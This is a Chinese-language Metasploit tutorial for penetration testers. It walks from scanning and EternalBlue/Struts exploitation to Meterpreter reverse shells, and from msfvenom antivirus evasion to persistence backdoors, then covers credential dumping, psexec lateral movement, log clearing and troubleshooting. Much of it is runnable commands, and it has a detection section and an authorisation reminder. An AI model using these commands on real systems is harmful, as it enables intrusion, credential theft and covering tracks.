1. 项目概述:全能工具链的实战价值
在安全测试和渗透评估的圈子里,Metasploit这个名字几乎无人不知。但很多人对它的理解,可能还停留在“一个能打漏洞的工具”或者“msfconsole里敲几个命令”的层面。实际上,Metasploit是一个庞大、精密且高度集成的“全能工具链”,它贯穿了从信息搜集、漏洞分析、利用验证,到权限维持、内网渗透乃至痕迹清理的整个攻击生命周期。今天,我们不谈那些浮于表面的“一键getshell”,而是深入拆解如何将Metasploit作为一个完整的工程化平台来使用,真正实现从“漏洞挖掘”的线索发现,到“后门部署”的持久化控制,构建一条自动化、可复现的实战路径。
这套工具链的价值在于,它将渗透测试中大量繁琐、重复且需要深厚知识积累的环节进行了模块化和流程化。对于安全研究人员,它是验证漏洞影响和利用链可行性的利器;对于渗透测试工程师,它是提升效率、规范操作的核心框架;对于防御者,理解它的工作模式则是构建有效检测和响应策略的基础。无论你是想系统学习渗透测试的新手,还是希望优化现有工作流的老手,深入理解Metasploit工具链的每一个环节,都能让你对网络攻防有更立体、更实战化的认知。
2. 核心思路:模块化与流程驱动的渗透测试
Metasploit的强大,根植于其清晰的模块化架构和以“工作流”为核心的驱动思想。它不是一堆零散脚本的集合,而是一个遵循“信息收集 → 漏洞分析 → 利用开发 → 后渗透 → 报告生成”标准流程的自动化框架。理解这个核心思路,是高效使用它的前提。
2.1 模块化架构解析
Metasploit的模块主要分为六大类,它们像乐高积木一样,可以灵活组合:
- 辅助模块(Auxiliary):这是工具链的“侦察兵”和“工兵”。不直接进行漏洞利用,但为后续步骤铺平道路。包括端口扫描、服务识别、弱口令爆破、信息搜集(如SNMP枚举、HTTP目录遍历)等。例如,使用
auxiliary/scanner/http/dir_scanner来寻找网站的敏感目录,就是典型的信息收集动作。 - 渗透攻击模块(Exploit):这是核心的“突击队”。每个模块针对一个特定的漏洞(CVE编号或特定软件版本),包含了利用该漏洞的代码。它负责突破边界,获取初始访问权限。例如,
exploit/windows/smb/ms17_010_eternalblue对应着著名的永恒之蓝漏洞。 - 攻击载荷模块(Payload):这是“突击队”成功突破后,运送进目标系统的“特战队员”。它决定了我们在目标系统上具体能做什么。分为三类:
- 单载荷(Singles):独立、一次性执行的代码,如添加一个用户。
- 阶段载荷(Stagers):体积小,负责建立稳定网络连接,为后续更大的载荷铺路。
- 传输载荷(Stages):通过Stager建立的通道传输的功能完整的后门程序,如Meterpreter。
- 编码器模块(Encoder):负责给“特战队员”(Payload)进行“伪装”,以绕过杀毒软件(AV)和入侵防御系统(IPS)的静态特征检测。它通过对Payload代码进行编码(如X86/shikata_ga_nai)来改变其签名。
- 后渗透模块(Post):在已经获得一个Meterpreter或Shell会话后使用。用于进行权限提升、信息深度搜集(如哈希转储、密码抓取)、内网横向移动、持久化后门部署等。这是从“突破一点”到“控制一片”的关键。
- 空指令模块(NOP):在部分漏洞利用中,用于填充内存,提高利用的稳定性,现在使用频率相对较低。
这种模块化设计意味着,你可以像搭积木一样组合工作流:用一个辅助模块发现目标运行着有漏洞的Apache Struts版本,接着选用对应的Exploit模块,搭配一个合适的、经过编码的Payload,获得Meterpreter会话后,再使用一系列Post模块进行内网渗透。
2.2 工作流驱动:从挖掘到部署的闭环
一个完整的“从漏洞挖掘到后门部署”流程,在Metasploit中体现为以下闭环:
- 主动/被动信息收集:使用辅助模块或集成外部工具(如Nmap, Nessus)数据,绘制目标网络地图,识别潜在攻击面。
- 漏洞匹配与验证:将收集到的服务、版本信息与Metasploit的Exploit模块库进行匹配。这里就体现了“漏洞挖掘”的思维——你可能是通过Fuzzing、代码审计发现了一个新漏洞,然后为其编写Metasploit模块;也可能是利用已知漏洞进行验证性攻击。
- 利用链构建与规避:选择Exploit,配置参数(如RHOSTS, RPORT),选择合适的Payload并考虑使用编码器进行规避。这个过程需要根据目标环境(网络结构、防护设备)动态调整。
- 会话建立与权限提升:成功利用后,获得初始会话(可能是简单的shell或功能强大的Meterpreter)。立即使用
getsystem或post/multi/recon/local_exploit_suggester等模块尝试提权。 - 后渗透与持久化(后门部署):这是“后门部署”的核心阶段。在目标系统上植入持久化后门,确保即使连接断开、系统重启,也能重新获得控制。Metasploit提供了多种方式,如
persistence模块、计划任务、服务创建、WMI事件订阅等。 - 内网横向移动:以当前受控主机为跳板,使用
arp_scanner,portscan等后渗透模块探测内网,并重复上述过程,攻击内网其他机器。 - 数据渗出与痕迹清理:在任务完成后,使用
timestomp等模块修改文件时间戳,或清除事件日志,尽可能抹除行动痕迹。
这个工作流不是线性的,而是循环、迭代的。Metasploit Framework (MSF) 和更上层的Metasploit Pro版本,都提供了“任务链”或“工作区”功能,来可视化和自动化管理这个复杂流程。
3. 环境准备与基础配置
工欲善其事,必先利其器。虽然Kali Linux预装了Metasploit,但一个经过优化配置的环境能极大提升效率,减少不必要的麻烦。
3.1 基础环境搭建
最推荐的方式仍然是使用Kali Linux作为主操作系统或虚拟机。它集成了Metasploit、Nmap、Nessus、Burp Suite等全套工具,开箱即用。对于Windows或macOS用户,可以在虚拟机中安装Kali,或者使用Docker运行Metasploit容器。
安装后,第一件事是更新Metasploit框架和漏洞数据库:
sudo apt update && sudo apt upgrade -y sudo msfdb init # 初始化数据库(如果尚未初始化) sudo msfdb start # 启动数据库服务 sudo msfconsole # 启动时会自动连接数据库在msfconsole内部,可以运行db_status检查数据库连接,运行help查看所有命令。
3.2 关键配置优化
默认配置可能不适合所有场景,以下几个配置点值得关注:
- 数据库连接:确保数据库运行正常。MSF会将扫描结果、会话信息、凭证等存入数据库,便于搜索和关联分析。使用
hosts,services,creds等命令进行查询。 - LHOST与LPORT:这是最容易出错的地方。
LHOST是你的监听器IP地址,在虚拟机环境中,务必设置为宿主机能访问到的那个IP(如NAT网卡的IP),而不是127.0.0.1。LPORT是监听端口,避免使用80、443等常见端口,可能被占用或触发警报。 - Payload选择策略:
- 反向连接(Reverse) vs 正向连接(Bind):绝大多数情况使用反向连接(如
reverse_tcp),因为目标主动连接你,可以绕过出站限制较宽松的防火墙。只有当目标无法出网时,才考虑正向连接(你在目标监听端口)。 - Meterpreter vs Shell:优先选择
meterpreter/reverse_tcp。Meterpreter是一个功能强大的内存驻留后门,提供文件系统操作、摄像头控制、键盘记录等高级功能,且通信加密。普通shell/reverse_tcp只是一个标准命令行,功能有限且通信明文。
- 反向连接(Reverse) vs 正向连接(Bind):绝大多数情况使用反向连接(如
- 编码与规避:现代EDR/AV能力很强,简单的编码可能不够。Metasploit自带的
msfvenom工具可以生成Payload,并组合使用编码器(如-e x86/shikata_ga_nai -i 3迭代编码3次)和模板(-x参数指定一个合法可执行文件作为模板)来增强免杀能力。但这只是静态免杀,对于动态行为检测还需要更高级的技术。
注意:在真实授权测试中,Payload的监听IP(LHOST)必须是你的测试机IP。在内部网络测试时,要确保路由可达,防火墙已放行相应端口。
3.3 外部工具集成
Metasploit不是孤岛。高效的工具链需要与其他工具联动:
- Nmap:最强大的端口扫描器。可以在MSF中直接导入Nmap扫描结果:
db_import /path/to/nmap_scan.xml。 - Nessus / OpenVAS:漏洞扫描器。发现潜在漏洞后,可以在MSF中搜索对应的Exploit模块。
- Cobalt Strike:与Metasploit有很好的互操作性。可以将Meterpreter会话“嫁接”到Cobalt Strike的团队服务器上,利用其更先进的横向移动和后渗透能力。
配置好这些,你的Metasploit就不再是一个孤立的工具,而成为了安全评估流程的指挥中心。
4. 漏洞挖掘与利用链构建实战
“漏洞挖掘”在这里有两层含义:一是利用Metasploit验证已知漏洞;二是为自主发现的漏洞编写Exploit模块。我们重点讲第一种,这是工具链中最常见的应用。
4.1 信息收集:发现攻击入口
一切始于信息收集。假设我们的目标是内网一台IP为192.168.1.105的Windows服务器。
# 在msfconsole中,使用db_nmap命令,扫描结果会自动存入数据库 db_nmap -sS -sV -O -p- 192.168.1.105-sS: SYN半开放扫描,速度快且隐蔽。-sV: 探测服务版本。-O: 探测操作系统。-p-: 扫描所有65535个端口。
扫描完成后,使用services命令查看结果。假设我们发现目标开放了445/tcp (SMB)和3389/tcp (RDP)。
4.2 漏洞匹配与利用
我们知道SMB服务历史漏洞较多。使用search命令进行匹配:
search type:exploit name:smb # 或者针对特定漏洞 search eternalblue假设我们找到了exploit/windows/smb/ms17_010_eternalblue。接下来配置并执行:
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.105 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 # 假设这是你的Kali IP set LPORT 4444 exploit -j # -j 参数表示作为后台任务运行如果目标存在漏洞且利用成功,你将获得一个Meterpreter会话。使用sessions -l查看所有会话,sessions -i 1交互到第一个会话。
4.3 利用链的深度构建:一个Web漏洞实例
对于Web漏洞,链条可能更长。例如,发现一个目标网站存在Struts2 S2-045漏洞(CVE-2017-5638)。
- 辅助模块验证:首先使用
auxiliary/scanner/http/struts_code_exec模块进行验证,确认漏洞是否存在。 - Exploit模块利用:验证成功后,使用
exploit/multi/http/struts2_code_exec模块。 - Payload投递策略:由于是Web漏洞,直接执行二进制Payload可能受限。我们可以分两步走:
- 第一步:利用漏洞执行命令,将一个PowerShell脚本下载到目标临时目录。
- 第二步:让PowerShell脚本在内存中加载Meterpreter的DLL(
Invoke-ReflectivePEInjection),从而绕过磁盘查杀,直接建立会话。 这需要在Exploit模块中精心构造命令参数,并可能用到msfvenom生成特定的PowerShell载荷。
- 会话获取:成功后在MSF中设置好对应的
exploit/multi/handler监听器,等待目标执行PowerShell脚本后反向连接。
这个例子展示了如何根据漏洞类型和目标环境,灵活组合模块和技巧,构建有效的利用链。关键在于理解漏洞的触发原理和目标的执行环境限制。
5. 后渗透与持久化后门部署详解
获得初始立足点(Meterpreter会话)只是开始。后渗透阶段的目标是扩大战果、维持访问、挖掘数据。其中,“持久化”是确保访问不丢失的关键,也就是所谓的“后门部署”。
5.1 基础信息搜集与权限提升
进入Meterpreter会话后,首先执行一些基础命令了解环境:
sysinfo # 查看系统信息 getuid # 查看当前权限 run post/windows/gather/checkvm # 检查是否为虚拟机如果当前权限不是NT AUTHORITY\SYSTEM,需要提权。最简单的是尝试getsystem命令。如果失败,使用Metasploit的本地提权建议模块:
# 在Meterpreter会话中 background # 将当前会话放到后台 use post/multi/recon/local_exploit_suggester set SESSION 1 run这个模块会根据目标系统版本和补丁情况,自动推荐可能成功的本地提权Exploit模块。选择一个,设置好SESSION参数,运行即可。提权成功后,记得用sessions -i 1重新交互,并再次getuid确认。
5.2 持久化后门部署的多种方式
Metasploit提供了exploit/windows/local/persistence模块,但它只是其中一种方式。作为专业测试者,需要掌握多种持久化技术以应对不同的防御策略。
方式一:注册表启动项这是经典方法,将后门程序路径写入HKLM\Software\Microsoft\Windows\CurrentVersion\Run等注册表键值。
# 在Meterpreter中 run persistence -X -i 30 -p 443 -r 192.168.1.100 # -X: 开机自启 # -i: 回连间隔(秒) # -p: 回连端口 # -r: 监听端IP模块会自动生成一个VBScript或Payload可执行文件,并将其路径写入注册表。缺点:容易被安全软件监控注册表修改,文件落地易被查杀。
方式二:计划任务通过Windows计划任务定期执行后门。
# 使用post模块创建计划任务 use post/windows/manage/persistence_exe set REXEPATH /tmp/payload.exe # 本地Payload路径 set SESSION 1 set STARTUP SYSTEM run或者手动用Meterpreter的schtasks命令。这种方式更隐蔽,可以设置多种触发器(如用户登录、特定时间)。
方式三:服务创建将后门程序注册为一个系统服务。
# 使用sc命令(需管理员权限) shell sc create "WindowsUpdateService" binPath= "C:\Windows\Temp\payload.exe" start= auto sc start "WindowsUpdateService"服务名称可以伪装成系统服务。注意:binPath=后面必须有一个空格。
方式四:WMI事件订阅这是一种无文件、高隐蔽的持久化方式。通过WMI永久事件订阅,在特定事件(如系统启动、用户登录)触发时执行Payload。
# 使用Metasploit的post模块 use post/windows/manage/wmi_persistence set SESSION 1 run这种方式在内存中执行VBScript或PowerShell代码,无需文件落地,对抗传统杀软非常有效,但需要较高的权限。
方式五:劫持合法程序(DLL/COM)通过DLL搜索顺序劫持或COM组件劫持,让系统在启动合法程序时加载我们的恶意DLL。这种方式需要针对特定应用程序和环境进行分析,但隐蔽性极强。
实操心得:在实际测试中,不要只依赖一种持久化方法。建议组合使用,例如“WMI事件订阅 + 计划任务备份”。同时,务必记录下你部署的后门类型、位置和触发条件,以便在测试结束后彻底清理,避免留下真正的后门。
5.3 内网横向移动
持久化控制一台主机后,下一步就是以此为跳板,攻击内网其他机器。
- 网络拓扑探测:
run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24 run auxiliary/scanner/portscan/tcp RHOSTS=192.168.1.0/24 PORTS=445,3389 - 凭证窃取与重用:
# 抓取当前主机内存中的密码哈希和明文 hashdump load kiwi # 加载Mimikatz扩展(Kiwi) creds_all # 使用窃取的凭证尝试访问其他主机 use exploit/windows/smb/psexec set RHOSTS 192.168.1.110 set SMBUser Administrator set SMBPass <窃取的哈希或密码> set PAYLOAD windows/meterpreter/bind_tcp # 因为是从跳板机发起,所以用正向连接 exploit - 端口转发与代理:如果跳板机无法直接访问内网某主机,但另一台已控主机可以,就需要设置路由或代理。
# 在MSF中自动添加路由 run autoroute -s 10.10.10.0/24 -n 255.255.255.0 # 使用socks4a代理模块,让本地其他工具(如浏览器、Nmap)也能通过这个通道访问内网 use auxiliary/server/socks_proxy run
6. 高级技巧与深度规避策略
随着防御手段升级,默认的Metasploit利用方式很容易被检测。以下是一些提升成功率和隐蔽性的高级技巧。
6.1 Payload定制与免杀
msfvenom是Payload生成的瑞士军刀。基础用法是生成一个可执行文件:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe但这生成的exe特征明显。我们需要进行深度定制:
- 迭代编码:
-e x86/shikata_ga_nai -i 10迭代编码10次。 - 捆绑器:
-x /path/to/legit.exe -k将Payload捆绑到一个正常的程序(如notepad.exe)中,运行正常程序时会同时执行Payload。 - 生成Shellcode:生成纯Shellcode,然后用自己的加载器(Loader)在内存中加载,可以完全自定义加载逻辑,绕过静态查杀。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... -f c # 生成C语言格式的Shellcode数组 - 使用
Template和Cryptor:msfvenom的-x参数可以指定一个二进制文件作为模板,将Payload注入其中。还可以结合自定义的加密/解密函数(Cryptor)来进一步混淆。
6.2 传输层与协议隐匿
Meterpreter的通信默认是TLS加密的,但流量模式可能被识别。
- 使用
reverse_http/s或reverse_winhttp:这些Payload将通信伪装成普通的HTTP/HTTPS流量,更容易穿透只做内容过滤的防火墙。 - 设置代理:在Exploit或Handler中设置
HttpProxyHost和HttpProxyPort,让Meterpreter的通信经过一个代理服务器,增加追踪难度。 - 自定义证书:在Handler中设置
HandlerSSLCert参数,使用一个与目标常见域名匹配的自签名或窃取的SSL证书,使加密流量看起来更“正常”。
6.3 内存操作与无文件攻击
现代EDR对磁盘文件监控严格,因此无文件攻击是趋势。
- PowerShell Empire / Cobalt Strike:这些框架更擅长无文件攻击。可以将Metasploit作为初始入口,然后通过
powershell或execute命令将Empire的Stager加载到内存中,迁移到更强大的C2框架。 - Meterpreter的
migrate命令:在获得Meterpreter会话后,立即迁移到一个稳定的系统进程(如lsass.exe,svchost.exe)的内存空间中。这样即使初始进程被关闭,会话也不会丢失。# 在Meterpreter中 ps # 列出进程 migrate <PID_of_lsass.exe> # 迁移到lsass进程 - 反射式DLL注入:使用
exploit/windows/local/payload_inject等模块,将Payload的DLL直接注入到目标进程内存中执行,无需在磁盘上写入DLL文件。
6.4 自动化与资源脚本
对于重复性任务,可以使用Metasploit的资源脚本(.rc文件)进行自动化。 创建一个auto_pwn.rc文件:
# auto_pwn.rc use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.105 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 exploit -j sleep 10 sessions -c "getsystem" -i 1 sessions -c "run post/windows/manage/migrate" -i 1然后在msfconsole中运行:resource /path/to/auto_pwn.rc。这可以自动化完成漏洞利用、提权和进程迁移。
7. 防御视角与痕迹清理
一个完整的工具链认知,必须包含防御视角和善后工作。
7.1 从防御者角度看Metasploit攻击
了解攻击手法才能有效防御。防御者应关注以下点:
- 网络层检测:监测异常的SMB、RDP等协议爆破流量;识别Meterpreter等C2通信的固定模式(如心跳包、TLS证书特征)。
- 主机层检测:
- 进程行为:检查是否有未知进程通过
CreateRemoteThread注入到lsass.exe,explorer.exe等关键进程。 - 持久化位置:监控注册表自启动项、计划任务、服务、WMI事件订阅的创建和修改。
- 文件系统:查找临时目录、用户目录下可疑的可执行文件、脚本或DLL。
- 账户活动:警惕短时间内出现的大量失败登录后突然成功(密码爆破),或非工作时间的管理员账户登录。
- 进程行为:检查是否有未知进程通过
- 日志分析:集中收集和分析Windows安全日志、Sysmon日志(如果部署了的话),寻找漏洞利用(如MS17-010利用会产生特定的事件ID 4657)和横向移动(如PsExec使用会产生事件ID 4688)的痕迹。
7.2 渗透测试后的痕迹清理
在授权测试结束后,必须清理自己留下的所有痕迹,这是职业操守。
- 删除持久化项目:
- 如果是通过
persistence模块创建的,使用run persistence -U尝试卸载(但并非总是可靠)。 - 手动检查并删除添加的注册表键值、计划任务、服务。
- 清理WMI事件订阅:
wmic /namespace:\\root\subscription PATH __EventFilter DELETE等命令。
- 如果是通过
- 删除上传的文件:使用Meterpreter的
del或rm命令,删除上传的Payload、工具和脚本。 - 清理日志:
注意:# 在Meterpreter中 clearev # 清除Windows事件日志(安全、系统、应用)clearev会清空整个日志,行为非常明显。更隐蔽的做法是使用eventvwr.msc或PowerShell脚本只删除与自身活动相关的特定日志条目,但这更复杂。 - 恢复文件时间戳:如果使用了
download命令,文件的访问时间会被修改。可以使用timestomp命令尝试恢复原始时间戳,但这需要你事先记录了原始时间。 - 退出会话:使用
exit或quit命令退出Meterpreter会话,Handler端会显示会话关闭。
重要警告:痕迹清理不可能做到天衣无缝。高级的EDR和终端取证工具可以从内存转储、卷影副本、USN日志、Prefetch文件等多个维度发现攻击痕迹。因此,在测试计划中就应该明确清理的范围和程度,并与客户进行沟通。在某些红队评估中,故意留下一些可控的、可识别的“痕迹”以供蓝队检测和分析,也是常见的做法。
8. 常见问题与排查技巧实录
在实际操作中,你一定会遇到各种问题。以下是一些高频问题及解决思路。
8.1 漏洞利用失败
- 问题:Exploit执行后,返回
Exploit completed, but no session was created。 - 排查:
- 目标状态:确认目标服务确实存在且版本匹配。用
auxiliary/scanner类模块再验证一遍。 - 防火墙/杀软:目标主机防火墙可能拦截了出站连接,或者杀软实时拦截了Payload的执行。尝试使用
reverse_https等更隐蔽的Payload,或先进行杀软绕过。 - Payload兼容性:x86和x64 Payload要选对。如果目标系统是64位,但漏洞利用过程发生在32位进程上下文(如IIS的w3wp.exe),则需要使用x86的Payload。使用
sysinfo命令查看架构。 - 网络连通性:确保
LHOST和LPORT设置正确,且监听器 (exploit/multi/handler) 已正确启动并设置了匹配的Payload。用netstat -antp | grep 4444在Kali上检查端口是否在监听。
- 目标状态:确认目标服务确实存在且版本匹配。用
8.2 Meterpreter会话不稳定或突然断开
- 问题:会话经常卡死,或几分钟后自动断开。
- 排查:
- 网络问题:网络延迟高或不稳定。尝试增加
set SessionCommunicationTimeout 300和set SessionExpirationTimeout 300(单位秒)。 - 进程迁移:初始进程可能不稳定或被结束。获得会话后第一件事就是迁移进程:
migrate -N explorer.exe或migrate <PID>到一个稳定进程。 - Payload类型:尝试更换Payload类型,如从
reverse_tcp换成reverse_http,后者对不稳定网络容忍度更高。 - 编码干扰:过度迭代的编码可能导致Payload不稳定。尝试减少编码次数或换用其他编码器。
- 网络问题:网络延迟高或不稳定。尝试增加
8.3 权限提升(提权)失败
- 问题:
getsystem失败,或本地提权Exploit模块执行不成功。 - 排查:
- 信息搜集不足:运行
post/multi/recon/local_exploit_suggester前,确保已通过sysinfo和run post/windows/gather/enum_patches收集了足够的系统补丁信息,让建议模块更准确。 - 会话架构:确保提权Exploit模块的架构(x86/x64)与当前Meterpreter会话的架构匹配。在64位系统上,如果拿到的是x86的会话,可能需要先迁移到一个64位进程再提权。
- Exploit兼容性:有些本地提权Exploit对系统版本、语言包甚至已安装的软件有严格要求。仔细阅读模块的
info描述,查看check方法的结果。
- 信息搜集不足:运行
8.4 内网横向移动受阻
- 问题:使用
psexec,smbexec等模块攻击内网其他机器失败。 - 排查:
- 凭证问题:
SMBPass参数可以是明文密码,也可以是NTLM哈希(格式为LMHASH:NTHASH,如果LM哈希为空,则用32个0填充,如aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0)。确保凭证有效且有足够权限(通常是本地管理员组)。 - 防火墙:目标内网机器可能开启了防火墙,阻止了SMB(445)或RPC(135)端口。尝试使用
reverse_tcpPayload,并让跳板机主动连接你,或者先在其他端口建立隧道。 - 杀软拦截:PsExec等工具本身可能被列为恶意软件。尝试使用WMI (
wmic) 或计划任务 (schtasks) 的方式进行横向移动,或者使用自定义的远程执行Payload。
- 凭证问题:
8.5 模块搜索与使用问题
- 问题:
search找不到想要的模块,或者模块参数设置错误。 - 排查:
- 更新框架:定期运行
msfupdate更新Metasploit,获取最新的模块和漏洞利用。 - 模糊搜索:
search struts会搜索名称和描述中包含“struts”的模块。使用search cve:2017-5638按CVE编号搜索。 - 查看模块信息:使用模块前,一定要
use它,然后show options查看必填和可选参数,info查看详细描述和使用方法。 - 查看高级参数:
show advanced可以显示一些高级参数,有时对绕过防护或适应特殊环境至关重要。
- 更新框架:定期运行
掌握这套从漏洞验证到持久化控制的全能工具链,意味着你将渗透测试从“点状攻击”提升到了“体系化作战”的层面。它要求你不仅会使用工具,更要理解其背后的网络、系统、安全原理,并能根据实际情况灵活调整策略。记住,工具是死的,人是活的。最强大的工具链,永远是你不断思考、学习和实践的头脑。在实际操作中,多实验、多记录、多复盘,你会逐渐形成自己的方法论和肌肉记忆,让Metasploit真正成为你手中如臂使指的神兵利器。